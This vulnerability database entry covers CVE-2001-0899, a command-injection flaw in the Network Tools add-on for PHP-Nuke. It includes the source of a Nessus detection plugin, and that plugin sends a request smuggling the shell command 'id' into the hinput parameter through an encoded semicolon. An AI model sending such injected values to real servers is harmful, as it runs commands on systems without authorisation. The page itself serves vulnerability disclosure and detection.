Vulnerabilities > CVE-2001-0899

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
phpnuke
rick-fournier
nessus
exploit available

Summary

Network Tools 0.2 for PHP-Nuke allows remote attackers to execute commands on the server via shell metacharacters in the $hostinput variable.

Vulnerable Configurations

Part Description Count
Application
Phpnuke
1
Application
Rick_Fournier
1

Exploit-Db

descriptionNetwork Tool 0.2 PHPNuke Addon Metacharacter Filtering Command Execution Vulnerability. CVE-2001-0899. Remote exploit for php platform
idEDB-ID:21155
last seen2016-02-02
modified2001-11-16
published2001-11-16
reporterCabezon Aurélien
sourcehttps://www.exploit-db.com/download/21155/
titleNetwork Tool 0.2 PHPNuke Addon Metacharacter Filtering Command Execution Vulnerability

Nessus

NASL familyCGI abuses
NASL idNETTOOLS_CMD_EXEC.NASL
descriptionIt is possible to make the remote host execute arbitrary commands through the use of the PHPNuke addon called
last seen2020-06-01
modified2020-06-02
plugin id11106
published2002-08-22
reporterThis script is Copyright (C) 2002-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/11106
titlePHP-Nuke Network Tools Add-On Arbitrary Command Execution
code
#
# (C) Tenable Network Security, Inc.
#

include( 'compat.inc' );

if(description)
{
  script_id(11106);
  script_version ("1.19");
  script_cvs_date("Date: 2018/06/13 18:56:28");

  script_cve_id("CVE-2001-0899");

  script_name(english:"PHP-Nuke Network Tools Add-On Arbitrary Command Execution");
  script_summary(english:"Executed 'id' through index.php");

  script_set_attribute(
    attribute:'synopsis',
    value:'The remote service is vulnerable to an access control breach.'
  );

  script_set_attribute(
    attribute:'description',
    value:"It is possible to make the remote host execute arbitrary
commands through the use of the PHPNuke addon called
'Network Tools'.

An attacker may use this flaw to gain a shell on this system."
  );

  script_set_attribute(
    attribute:'solution',
    value: "Upgrade to NetTools 0.3 or newer."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");


 script_set_attribute(attribute:"plugin_publication_date", value: "2002/08/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/11/17");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe",value:"cpe:/a:php-nuke:php-nuke");
  script_end_attributes();

  script_category(ACT_ATTACK);

  script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
  script_family(english:"CGI abuses");

  script_dependencie("php_nuke_installed.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
installed = get_kb_item("www/" + port + "/php-nuke");
if ( ! installed ) exit(0);
array = eregmatch(pattern:"(.*) under (.*)", string:installed);
if ( ! array ) exit(0);
dir = array[2];


http_check_remote_code (
      unique_dir:dir,
      check_request:"/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid",
      check_result:"uid=[0-9]+.*gid=[0-9]+.*",
      command:"id",
      port:port
      );